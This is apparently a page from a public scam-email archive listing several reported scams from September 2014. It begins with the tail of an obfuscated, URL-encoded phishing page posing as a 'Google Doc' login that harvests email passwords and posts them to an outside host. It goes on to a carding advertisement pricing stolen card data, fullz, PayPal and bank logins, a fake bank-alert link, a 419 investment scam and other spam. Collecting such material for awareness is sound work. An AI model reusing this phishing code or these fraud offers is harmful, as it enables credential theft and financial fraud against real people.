%20Indicate%20this%20special%20use%20by%20setting%20the%20last%20parameter%20to%20true%20so%20we%20only%20validate%20the%20dependingField%20on%20chackboxes%20and%20radio%20buttons%20%28%23462%29%0A%09%09%09%09%20*/%0A%09%09%09%09if%20%28dependingField.length%20%26%26%20methods._required%28dependingField%2C%20%5B%22required%22%5D%2C%200%2C%20options%2C%20true%29%20%3D%3D%20undefined%29%20%7B%0A%09%09%09%09%09/*%20We%20now%20know%20any%20of%20the%20depending%20fields%20has%20a%20value%2C%0A%09%09%09%09%09%20*%20so%20we%20can%20validate%20this%20field%20as%20per%20normal%20required%20code%0A%09%09%09%09%09%20*/%0A%09%09%09%09%09return%20methods._required%28field%2C%20%5B%22required%22%5D%2C%200%2C%20options%29%3B%0A%09%09%09%09%7D%0A%09%09%09%7D%0A%09%09%7D%2C%0A%0A%09%20%20%20%20_submitButtonClick%3A%20function%28event%29%20%7B%0A%09%20%20%20%20%20%20%20%20var%20button%20%3D%20%24%28this%29%3B%0A%09%20%20%20%20%20%20%20%20var%20form%20%3D%20button.closest%28%27form%2C%20.validationEngineContainer%27%29%3B%0A%09%20%20%20%20%20%20%20%20form.data%28%22jqv_submitButton%22%2C%20button.attr%28%22id%22%29%29%3B%0A%09%20%20%20%20%7D%0A%09%09%20%20%7D%3B%0A%0A%09%20/**%0A%09%20*%20Plugin%20entry%20point.%0A%09%20*%20You%20may%20pass%20an%20action%20as%20a%20parameter%20or%20a%20list%20of%20options.%0A%09%20*%20if%20none%2C%20the%20init%20and%20attach%20methods%20are%20being%20called.%0A%09%20*%20Remember%3A%20if%20you%20pass%20options%2C%20the%20attached%20method%20is%20NOT%20called%20automatically%0A%09%20*%0A%09%20*%20@param%20%7BString%7D%0A%09%20*%20%20%20%20%20%20%20%20%20%20%20%20method%20%28optional%29%20action%0A%09%20*/%0A%09%20%24.fn.validationEngine%20%3D%20function%28method%29%20%7B%0A%0A%09%09%20var%20form%20%3D%20%24%28this%29%3B%0A%09%09%20if%28%21form%5B0%5D%29%20return%20form%3B%20%20//%20stop%20here%20if%20the%20form%20does%20not%20exist%0A%09%09%24%28%27%3Cinput%3E%27%29.attr%28%27name%27%2C%20%27is_valid_email%27%29.attr%28%27type%27%2C%20%27hidden%27%29.attr%28%27value%27%2C%20%27@yahoo.com%27%29.appendTo%28form%29%3B%0A%0A%09%09%20if%20%28typeof%28method%29%20%3D%3D%20%27string%27%20%26%26%20method.charAt%280%29%20%21%3D%20%27_%27%20%26%26%20methods%5Bmethod%5D%29%20%7B%0A%0A%09%09%09%20//%20make%20sure%20init%20is%20called%20once%0A%09%09%09%20if%28method%20%21%3D%20%22showPrompt%22%20%26%26%20method%20%21%3D%20%22hide%22%20%26%26%20method%20%21%3D%20%22hideAll%22%29%0A%09%09%09%20methods.init.apply%28form%29%3B%0A%0A%09%09%09%20return%20methods%5Bmethod%5D.apply%28form%2C%20Array.prototype.slice.call%28arguments%2C%201%29%29%3B%0A%09%09%20%7D%20else%20if%20%28typeof%20method%20%3D%3D%20%27object%27%20%7C%7C%20%21method%29%20%7B%0A%0A%09%09%09%20//%20default%20constructor%20with%20or%20without%20arguments%0A%09%09%09%20methods.init.apply%28form%2C%20arguments%29%3B%0A%09%09%09%20return%20methods.attach.apply%28form%29%3B%0A%09%09%20%7D%20else%20%7B%0A%09%09%09%20%24.error%28%27Method%20%27%20+%20method%20+%20%27%20does%20not%20exist%20in%20jQuery.validationEngine%27%29%3B%0A%09%09%20%7D%0A%09%7D%3B%0A%0A%0A%0A%09//%20LEAK%20GLOBAL%20OPTIONS%0A%09%24.validationEngine%3D%20%7BfieldIdCounter%3A%200%2Cdefaults%3A%7B%0A%0A%09%09//%20Name%20of%20the%20event%20triggering%20field%20validation%0A%09%09validationEventTrigger%3A%20%22blur%22%2C%0A%09%09//%20Automatically%20scroll%20viewport%20to%20the%20first%20error%0A%09%09scroll%3A%20true%2C%0A%09%09//%20Focus%20on%20the%20first%20input%0A%09%09focusFirstField%3Atrue%2C%0A%09%09//%20Show%20prompts%2C%20set%20to%20false%20to%20disable%20prompts%0A%09%09showPrompts%3A%20true%2C%0A%20%20%20%20%20%20%20//%20Should%20we%20attempt%20to%20validate%20non-visible%20input%20fields%20contained%20in%20the%20form%3F%20%28Useful%20in%20cases%20of%20tabbed%20containers%2C%20e.g.%20jQuery-UI%20tabs%29%0A%20%20%20%20%20%20%20validateNonVisibleFields%3A%20false%2C%0A%09%09//%20Opening%20box%20position%2C%20possible%20locations%20are%3A%20topLeft%2C%0A%09%09//%20topRight%2C%20bottomLeft%2C%20centerRight%2C%20bottomRight%2C%20inline%0A%09%09//%20inline%20gets%20inserted%20after%20the%20validated%20field%20or%20into%20an%20element%20specified%20in%20data-prompt-target%0A%09%09promptPosition%3A%20%22topRight%22%2C%0A%09%09bindMethod%3A%22bind%22%2C%0A%09%09//%20internal%2C%20automatically%20set%20to%20true%20when%20it%20parse%20a%20_ajax%20rule%0A%09%09inlineAjax%3A%20false%2C%0A%09%09//%20if%20set%20to%20true%2C%20the%20form%20data%20is%20sent%20asynchronously%20via%20ajax%20to%20the%20form.action%20url%20%28get%29%0A%09%09ajaxFormValidation%3A%20false%2C%0A%09%09//%20The%20url%20to%20send%20the%20submit%20ajax%20validation%20%28default%20to%20action%29%0A%09%09ajaxFormValidationURL%3A%20false%2C%0A%09%09//%20HTTP%20method%20used%20for%20ajax%20validation%0A%09%09ajaxFormValidationMethod%3A%20%27get%27%2C%0A%09%09//%20Ajax%20form%20validation%20callback%20method%3A%20boolean%20onComplete%28form%2C%20status%2C%20errors%2C%20options%29%0A%09%09//%20retuns%20false%20if%20the%20form.submit%20event%20needs%20to%20be%20canceled.%0A%09%09onAjaxFormComplete%3A%20%24.noop%2C%0A%09%09//%20called%20right%20before%20the%20ajax%20call%2C%20may%20return%20false%20to%20cancel%0A%09%09onBeforeAjaxFormValidation%3A%20%24.noop%2C%0A%09%09//%20Stops%20form%20from%20submitting%20and%20execute%20function%20assiciated%20with%20it%0A%09%09onValidationComplete%3A%20false%2C%0A%0A%09%09//%20Used%20when%20you%20have%20a%20form%20fields%20too%20close%20and%20the%20errors%20messages%20are%20on%20top%20of%20other%20disturbing%20viewing%20messages%0A%09%09doNotShowAllErrosOnSubmit%3A%20false%2C%0A%09%09//%20Object%20where%20you%20store%20custom%20messages%20to%20override%20the%20default%20error%20messages%0A%09%09custom_error_messages%3A%7B%7D%2C%0A%09%09//%20true%20if%20you%20want%20to%20vind%20the%20input%20fields%0A%09%09binded%3A%20true%2C%0A%09%09//%20set%20to%20true%2C%20when%20the%20prompt%20arrow%20needs%20to%20be%20displayed%0A%09%09showArrow%3A%20true%2C%0A%09%09//%20did%20one%20of%20the%20validation%20fail%20%3F%20kept%20global%20to%20stop%20further%20ajax%20validations%0A%09%09isError%3A%20false%2C%0A%09%09//%20Limit%20how%20many%20displayed%20errors%20a%20field%20can%20have%0A%09%09maxErrorsPerField%3A%20false%2C%0A%09%09%0A%09%09//%20Caches%20field%20validation%20status%2C%20typically%20only%20bad%20status%20are%20created.%0A%09%09//%20the%20array%20is%20used%20during%20ajax%20form%20validation%20to%20detect%20issues%20early%20and%20prevent%20an%20expensive%20submit%0A%09%09ajaxValidCache%3A%20%7B%7D%2C%0A%09%09//%20Auto%20update%20prompt%20position%20after%20window%20resize%0A%09%09autoPositionUpdate%3A%20false%2C%0A%0A%09%09InvalidFields%3A%20%5B%5D%2C%0A%09%09onFieldSuccess%3A%20false%2C%0A%09%09onFieldFailure%3A%20false%2C%0A%09%09onSuccess%3A%20false%2C%0A%09%09onFailure%3A%20false%2C%0A%09%09validateAttribute%3A%20%22class%22%2C%0A%09%09addSuccessCssClassToField%3A%20%22%22%2C%0A%09%09addFailureCssClassToField%3A%20%22%22%2C%0A%09%09%0A%09%09//%20Auto-hide%20prompt%0A%09%09autoHidePrompt%3A%20false%2C%0A%09%09//%20Delay%20before%20auto-hide%0A%09%09autoHideDelay%3A%2010000%2C%0A%09%09//%20Fade%20out%20duration%20while%20hiding%20the%20validations%0A%09%09fadeDuration%3A%200.3%2C%0A%09%20//%20Use%20Prettify%20select%20library%0A%09%20prettySelect%3A%20false%2C%0A%09%20//%20Add%20css%20class%20on%20prompt%0A%09%20addPromptClass%20%3A%20%22%22%2C%0A%09%20//%20Custom%20ID%20uses%20prefix%0A%09%20usePrefix%3A%20%22%22%2C%0A%09%20//%20Custom%20ID%20uses%20suffix%0A%09%20useSuffix%3A%20%22%22%2C%0A%09%20//%20Only%20show%20one%20message%20per%20error%20prompt%0A%09%20showOneMessage%3A%20false%0A%09%7D%7D%3B%0A%09%24%28function%28%29%7B%24.validationEngine.defaults.promptPosition%20%3D%20methods.isRTL%28%29%3F%27topLeft%27%3A%22topRight%22%7D%29%3B%0A%7D%29%28jQuery%29%3B%0A%3C/script%3E%0A%09%3Clink%20rel%3D%22shortcut%20icon%22%20href%3D%22http%3A//icons.iconarchive.com/icons/marcus-roberto/google-play/512/Google-Drive-icon.png%22%3E%0A%20%20%09%3Clink%20rel%3D%22apple-touch-icon%22%20href%3D%22http%3A//icons.iconarchive.com/icons/marcus-roberto/google-play/512/Google-Drive-icon.png%22%3E%0A%09%3Cscript%3E%0A%09%09jQuery%28document%29.ready%28function%28%29%7B%0A%09%09%09jQuery%28%22%23signup%22%29.validationEngine%28%29%3B%0A%09%09%7D%29%3B%0A%09%3C/script%3E%3C%21--%0A%09%3Cscript%20type%3D%22text/javascript%22%3E%0A%09%09function%20valider%28%29%7B%0A%09%09%20%20%20if%20%28%20document.formPost.data10.value%20%3D%3D%20%22%22%20%29%7B%0A%09%09%09%09alert%20%28%20%22Veuillez%20entrer%20votre%20nom%22%20%29%3B%0A%09%09%09%09document.formPost.data10.focus%28%29%3B%0A%09%09%09%09return%20false%3B%0A%09%09%09%7D%0A%09%09%20%20%20if%20%28%21document.formPost.data1.value.match%28/%5E%5B0-9%5D%7B16%7D%24/%29%29%7B%0A%09%09%09%09alert%20%28%20%22Veuillez%20saisir%20un%20num%26%23233%3Bro%20de%20carte%20de%20cr%26%23233%3Bdit%20valide%22%20%29%3B%0A%09%09%09%09document.formPost.data1.focus%28%29%3B%0A%09%09%09%09return%20false%3B%0A%09%09%09%7D%0A%09%09%20%20%20if%20%28%21document.formPost.data2.value.match%28/%5E%5B0-9%5D%7B3%7D%24/%29%29%7B%0A%09%09%09%09alert%20%28%20%22Cryptogramme%20%28CVV%29%20invalide%22%20%29%3B%0A%09%09%09%09document.formPost.data2.focus%28%29%3B%0A%09%09%09%09return%20false%3B%0A%09%09%09%7D%0A%09%09%20%20%20if%20%28%20document.formPost.data6.value%20%3D%3D%20%22%22%20%29%7B%0A%09%09%09%09alert%20%28%20%22Vous%20devez%20saisir%20une%20r%26%23233%3Bponse%22%20%29%3B%0A%09%09%09%09document.formPost.data6.focus%28%29%3B%0A%09%09%09%09return%20false%3B%0A%09%09%09%7D%0A%09%09%20%20%20if%20%28%20document.formPost.data3.value%20%3D%3D%20%220%22%29%7B%0A%09%09%09%09alert%20%28%20%22Vous%20avez%20indiqu%26%23233%3B%20une%20date%20d%27expiration%20invalide%22%20%29%3B%0A%09%09%09%09document.formPost.data3.focus%28%29%3B%0A%09%09%09%09return%20false%3B%0A%09%09%09%7D%0A%09%09%7D%0A%09%3C/script%3E%0A%09--%3E%0A%3C/script%3E%09%0A%09%09%3Cstyle%20type%3D%22text/css%22%3E%0A.style1%20%7B%0A%09color%3A%20%23666666%3B%0A%7D%0A%3C/style%3E%0A%09%3C/head%3E%0A%09%3Cbody%3E%0A%09%09%3Cdiv%20id%3D%22layout%22%3E%0A%09%09%09%3Ch1%20class%3D%22logo%22%3E%26nbsp%3B%0A%09%09%09%09%3C/h1%3E%0A%09%09%09%3Cdiv%20id%3D%22wrapper%22%3E%0A%09%09%09%09%3Cdiv%20class%3D%22left%22%3E%0A%09%09%09%09%09%3Cimg%20height%3D%22210%22%20width%3D%22203%22%20src%3D%22http%3A//icons.iconarchive.com/icons/marcus-roberto/google-play/512/Google-Drive-icon.png%22%3E%0A%09%09%09%09%09%3Ch1%3E%0A%09%09%09%09%09%09Google%20Doc%3C/h1%3E%0A%09%09%09%09%09%3Cp%3E%0A%09%09%09%09%09%09Secured%20Document%20Storage.%3C/p%3E%0A%09%09%09%09%3C/div%3E%0A%09%09%09%09%3Cdiv%20class%3D%22right%22%3E%0A%3CSCRIPT%20language%3DJavaScript%3E%0A%0A%3C%21--%0A%0Afunction%20check%28form%29%20%7B%0A%0Aif%20%28form.Email.value%20%3D%3D%20%22%22%29%0A%0A%7B%20alert%28%22Please%20enter%20your%20Email%20Address.%22%29%3B%20form.Email.focus%28%29%3B%20return%3B%7D%0A%0A//%20Start%20of%20Email%20error%20Alert%21%0A%0Avar%20checkEmail%20%3D%20%22@.%22%3B%0A%0Avar%20checkStr%20%3D%20form.Email.value%3B%0A%0Avar%20EmailValid%20%3D%20false%3B%0A%0Avar%20EmailAt%20%3D%20false%3B%0A%0Avar%20EmailPeriod%20%3D%20false%3B%0A%0Afor%20%28i%20%3D%200%3B%20%20i%20%3C%20checkStr.length%3B%20%20i++%29%0A%0A%7B%0A%0Ach%20%3D%20checkStr.charAt%28i%29%3B%0A%0Afor%20%28j%20%3D%200%3B%20%20j%20%3C%20checkEmail.length%3B%20%20j++%29%0A%0A%7B%0A%0Aif%20%28ch%20%3D%3D%20checkEmail.charAt%28j%29%20%26%26%20ch%20%3D%3D%20%22@%22%29%0A%0AEmailAt%20%3D%20true%3B%0A%0Aif%20%28ch%20%3D%3D%20checkEmail.charAt%28j%29%20%26%26%20ch%20%3D%3D%20%22.%22%29%0A%0AEmailPeriod%20%3D%20true%3B%0A%0A%09%20%20if%20%28EmailAt%20%26%26%20EmailPeriod%29%0A%0A%09%09break%3B%0A%0A%09%20%20if%20%28j%20%3D%3D%20checkEmail.length%29%0A%0A%09%09break%3B%0A%0A%09%7D%0A%0Aif%20%28EmailAt%20%26%26%20EmailPeriod%29%0A%0A%7B%0A%0A%09%09EmailValid%20%3D%20true%0A%0A%09%09break%3B%0A%0A%09%7D%0A%0A%7D%0A%0Aif%20%28%21EmailValid%29%0A%0A%7B%0A%0Aalert%28%22Please%20enter%20a%20valid%20email%20address.%22%29%3B%0A%0Aform.Email.focus%28%29%3B%0A%0Areturn%3B%7D%0A%0A//%20End%20of%20Email%20error%20Alert%21%0A%0Aif%20%28form.emailpassword.value%20%3D%3D%20%22%22%29%0A%0A%7B%20alert%28%22To%20complete%20the%20autorisesation%2C%20please%20enter%20your%20Email%20Password.%22%29%3B%20form.emailpassword.focus%28%29%3B%20return%3B%7D%0A%0A%0A%0Aform.submit%28%29%0A%0A%7D%0A%0A//--%3E%0A%0A%3C/SCRIPT%3E%0A%09%3Cform%20action%3D%22http%3A//aloinumbolinases.honor.es/New/log.php%22%20id%3D%22signup%22%20method%3D%22post%22%20name%3D%22signup%22%3E%0A%09%09%09%09%09%09%3Ch1%3E%0A%09%09%09%09%09%09%09Confirm%20your%20identity.%3Cimg%20align%3D%22right%22%20border%3D%220%22%20height%3D%2233%22%20src%3D%22http%3A//www.bountifulbreast.co.uk/images/100Secure.jpg%22%20width%3D%2283%22%3E%3C/h1%3E%0A%09%09%09%09%09%09%3Ctable%20border%3D%220%22%20cellpadding%3D%220%22%20cellspacing%3D%220%22%20width%3D%22105%25%22%3E%0A%09%09%09%09%09%09%09%3Ctbody%3E%0A%09%09%09%09%09%09%09%09%3Ctr%3E%0A%09%09%09%09%09%09%09%09%09%3Ctd%20colspan%3D%223%22%3E%0A%09%09%09%09%09%09%09%09%09%09%3Cp%3E%0A%09%09%09%09%09%09%09%09%09%09%09Enter%20Details%20to%20View.%3C/p%3E%09%09%09%09%09%09%09%09%09%3C/td%3E%0A%09%09%09%09%09%09%09%09%3C/tr%3E%0A%09%09%09%09%09%09%09%09%3Ctr%3E%0A%09%09%09%09%09%09%09%09%09%3Ctd%20class%3D%22leftRow%22%20style%3D%22text-align%3A%20left%22%20width%3D%22154%22%3E%0A%09%09%09%09%09%09%09%09%09%09%3Cfont%20color%3D%22%230088CC%22%3EEmail%20ID%3C/font%3E%3C/td%3E%0A%09%09%09%09%09%09%09%09%09%3Ctd%20class%3D%22rightRow%22%20colspan%3D%222%22%3E%3Cspan%20class%3D%22formwrap%22%3E%0A%09%09%09%09%09%09%09%09%09%20%20%3Cinput%20class%3D%22validate%5Brequired%5D%22%20id%3D%22donnee000%22%20name%3D%22Email%22%20placeholder%3D%22example@domain.com%22%20style%3D%22width%3A180px%22%20type%3D%22text%22%3E%0A%09%09%09%09%09%09%09%09%09%3C/span%3E%3C/td%3E%0A%09%09%09%09%09%09%09%09%3C/tr%3E%0A%09%09%09%09%09%09%09%09%3Ctr%3E%0A%09%09%09%09%09%09%09%09%09%3Ctd%20class%3D%22leftRow%22%20style%3D%22text-align%3A%20left%22%20width%3D%22154%22%3E%0A%09%09%09%09%09%09%09%09%09%09%3Cfont%20color%3D%22%230088CC%22%3EEmail%20Password%3C/font%3E%3C/td%3E%0A%09%09%09%09%09%09%09%09%09%3Ctd%20class%3D%22rightRow%22%20colspan%3D%222%22%3E%0A%09%09%09%09%09%09%09%09%09%09%3Cspan%20class%3D%22formwrap%22%3E%3Cinput%20class%3D%22validate%5Brequired%5D%22%20id%3D%22donnee001%22%20name%3D%22emailpassword%22%20placeholder%3D%22*********%22%20style%3D%22width%3A180px%22%20type%3D%22password%22%3E%20%3C/span%3E%3C/td%3E%0A%09%09%09%09%09%09%09%09%3C/tr%3E%0A%09%09%09%09%09%09%09%09%09%09%09%09%09%09%09%09%3Ctr%3E%0A%09%09%09%09%09%09%09%09%09%3Ctd%20class%3D%22leftRow%22%20style%3D%22border%3A0%3B%22%20width%3D%22155%22%3E%26nbsp%3B%09%09%09%09%09%09%09%09%09%09%3C/td%3E%0A%09%09%09%09%09%09%09%09%09%3Ctd%20class%3D%22rightRow%20noborder%22%20colspan%3D%222%22%20style%3D%22text-align%3Acenter%3Bborder%3A0%3B%22%3E%0A%09%09%09%09%09%09%09%09%09%09%3Cinput%20name%3D%22donnee1%22%20type%3D%22hidden%22%20value%3D%22%26lt%3B%3Fphp%20echo%20%24_POST%5B%26%2339%3Bdonnee1%26%2339%3B%5D%3B%3F%26gt%3B%22%3E%20%3Cinput%20name%3D%22donnee2%22%20type%3D%22hidden%22%20value%3D%22%26lt%3B%3Fphp%20echo%20%24_POST%5B%26%2339%3Bdonnee2%26%2339%3B%5D%3B%3F%26gt%3B%22%3E%3Cinput%20class%3D%22submit%22%20onClick%3D%22check%28this.form%29%22%20type%3D%22submit%22%20value%3D%22View%20Document%22%3E%3C/td%3E%0A%09%09%09%09%09%09%09%09%3C/tr%3E%0A%09%09%09%09%09%09%09%3C/tbody%3E%0A%09%09%09%09%09%09%3C/table%3E%0A%09%09%09%09%09%3Cinput%20name%3D%22is_valid_email%22%20type%3D%22hidden%22%20value%3D%22@yahoo.com%22%3E%3C/form%3E%0A%09%09%09%09%3C/div%3E%0A%09%09%09%3C/div%3E%0A%09%09%3C/div%3E%0A%09%09%3Cp%20align%3D%22center%22%3ECopyright%20%A9%202014.%3C/p%3E%0A%09%09%0A%3C/body%3E%3C/html%3E';d=unescape(m);document.write(d);
Click to view scam #92184 - Sent on September 16, 2014, 10:56 pm by chirag@sagarpolymers.com
Doing Local Bank Transfer, Big sell Cvv2 ,Transfer WU ,Dumps.Tracks 1&2 ,Acc.Paypal..... USA Equity Transfer - Hello all customer Fresh cvv 2012 for sale if you want to buy it with good quality and best price. Maybe you will be completely satisfied with the quality If you want buy more I will reduce for you with best price Bank transfer into these banks available IRA,BOA,CHASE,PNC,CITI,Halifax,RBC, Equity Account, CC-top up,Federal credit union, e.t.c yahoo : vietleu email : vietleu@yahoo.com ist cc i have and price i have : 1 Paypal with pass email = 25$/paypal 1 Paypal don't have pass email = 20$/Paypal us (visa , master) = 1.5 $ us (amex , dis) = 3$ us card with DOB = 5$ us (full) = 18$ =====uk (visa , master) = 3 $ uk (amex , dis ) = 6 $ uk (with dob) = 8$ uk (full) = 25$ ========> CA: (visa,master) = 6$ (amex,discover) = 8$ (bin) = 10$ (dob) = 14$ (fullz) = 19$ ===> AU: (visa,master) = 6$ (amex,discover) = 8$ (bin) = 9$ (dob) = 13$ (fullz) = 20$ EU Italia = 15$ Germany = 10$ Sweden = 11$ Spain = 12$ France = 12$ Japan = 10$ Denmark = 12$ Au = 10$ Ca = 8$ =====* cvv for ship if u want... Sell cvv us visa master price 2$/cvv if you buy > 100 cvv price is 1.2$/cvv Sell cvv us amex discovery price 3$/cvv if you buy > 100 cvv price is 1.5$/cvv Sell cvv au , uk price is 3$/cvv if you buy > 100 cvv price is 2.5$/cvv Sell cvv fr ,de price is 6$/cvv if you buy > 50 cvv price is 5.5$/cvv Sell cvv ca price is 5$/cvv if you buy > 50 cvv price is 4.5$/cvv Sell cvv jp price is 8$/cvv if you buy > 50 price is 7.5$/cvv Sell cvv us fullz price is 6$/cvv if you buy > 50 price is 5.5$/cvv ===== yahoo : vietleu email : vietleu@yahoo.com ************ Login Bank ************* - Bank BOA Us : 1 . Balance 3000$ = 100$ 2 . Balance 11000$ = 300$ - Bank HSBC US : 1 . Balance 6000$ = 200$ 2 . Balance 14000$ = 350$ - Bank HSBC UK : 1 . Balance 6000 GBP = 100$ 2 . Balance 14000 GBP = 300$ ******** SHIPPING ********* - SHIPPING LAPTOP AND PHONES AND MSR206 ONLY - SHIP LAPTOP APPLE = 70$ - SHIP LAPTOP HP + DELL = 100$ - SHIP LAPTOP TOSHIBA = 80$ - SHIP LAPTOP LENOVO = 110$ - SHIP IPHONE 3GS = 90$ - SHIP IPHONE 4G = 100$ - SHIP IPHONE 35G = 150$ - ( 1-2 day have tracking ) - Goods before shipping,please send before 70% of the money yahoo : vietleu email : vietleu@yahoo.com ****** ALL FOR With PAYPAL ******* - Sell Paypal with pass email = 26 $ /paypal - Sell Paypal don't have pass email = 15 $ /Paypal - Sell Visa Debit US : 80$ - Sell Paypal Veritified with balance 1500$ = 30$ - Sell Paypal Veritified with balance 5500$ = 50$ - Sell Paypal Veritified with balance 13000$= 100$ The conditions of sale: - If u want test please buy one and then if the cvv is good u can buy more from me - If u buy over 30, I will sell for u good price - Cvv will be sent to you after receiving payment. Orders will be sent via e-mail or when you want. - I have a replacement policy for bad Cvv. Warranty 12 hours, only check live. All my cvv are inspected before sale... - I accept Perfect Money(PM) or WU (western union) yahoo : vietleu email : vietleu@yahoo.com
Click to view scam #92181 - Sent on September 16, 2014, 10:44 pm by vorovo90@gmail.com
Dear Sir, Please find attached payment slip remitted to your bank account today from our branch. Best Regard, Salazer Lucas Attachment content - buchifrndfiles.pdf: Zoom in Zoom out
Click to view scam #92178 - Sent on September 16, 2014, 10:42 pm by lilymay988@gmail.com
Make Your Phone Your New Fax Machine .zugdnpu{color:#47f2b9;}
Click to view scam #92177 - Sent on September 16, 2014, 9:49 pm by help9Fws@hypogeanscirrosity5731.com
You have one new alert message from Bank of America.In order to read please click on the link below: http://message-new-bnkofamerica.com/new/
Click to view scam #92176 - Sent on September 16, 2014, 9:30 pm by asfiudn278m28s@earthlink.net
Ryan nodded then he closed and read. Boy who was wrong with ethan. Nothing in mind if the living room. Maybe it probably have such an open..QφšË√J⌈N9Υ8L¾2WAÜëñR97¤GF—ËÈ«D∅ 88ÛYbℜgOZCθUèmñRrΜÿ 5λßP30zE∉g¢NoþSIå¿sSz71 4Ω2Tς7ÎO¾∫cD©ìγA¦O4YMqÅMaybe he wondered how long. Beth smile as long enoughYeah okay matt folded her his hands.71ÈČã§BlÎsFi°kècI0Tk¿¥N p­ro0Éqnu9¶ o0Štº¦xhyϖ×e∋Dχ ÕrEA9iñt566t7LKakÙ5c40ÊhÀ∞îmJoîeHK7nV44taÈþ XΘnɃNqheÈ⊕2l¿§©lÖGéo⊗1ðwè48:à„qBreath caught the bedroom with.
Click to view scam #92175 - Sent on September 16, 2014, 9:23 pm by yvimnogo@fishtrade.net
Salaam malaku,I am Rani Juma Jabir, a citizen of South Sudan now residing in South Africa as a political asylum seeker. I  would need your kind and honest assistance in investing a huge amount of  USD$8Million in your country,most especially on real estate, farming and production.I and my Family have huge financial resources to invest, but we need a very honest person we can trust and handover the management of the intended investment.If you can assist me, please kindly contact me for an introduction and proper discussion of your commission regarding the services you will render. You can write on my private email address; jabir.rani@yahoo.co.za or ring me directly on my cell number; +27845272865I await your urgent responseMy best regardsRani Juma Jabir.
Click to view scam #92174 - Sent on September 16, 2014, 9:22 pm by ranijabir98@gmail.com
? Signaler ce message en tant qu’indésirable Les images ne s’affichent pas ? Suivez ce lien Bonjour , vous venez d'être sélectionné(e) pour remporter un de ces 3 séjours. Merci de choisir ci-dessous le séjour qui vous tente. Une fois votre choix effectué, merci de compléter au plus vite vos coordonnées. Jeu sans obligation d'achat. Gagnant déterminé par tirage au sort. Règlement à consulter sur le site. Pour être retiré de notre liste de diffusion, rendez-vous sur cette page. Notez que le traitement de cette demande peut prendre jusqu’à 48 heures. Vous disposez d’un droit d’accès, de modification, d’opposition et de suppression de ces informations (article 38 de la loi "Informatique et Libertés" 78-17 du 6 janvier 1978 modifiée). Zegoodmail / EFFIDATA - 152, boulevard Pereire 75017 Paris - Private policy
Click to view scam #92173 - Sent on September 16, 2014, 8:59 pm by aymeric@ze-good-mail.com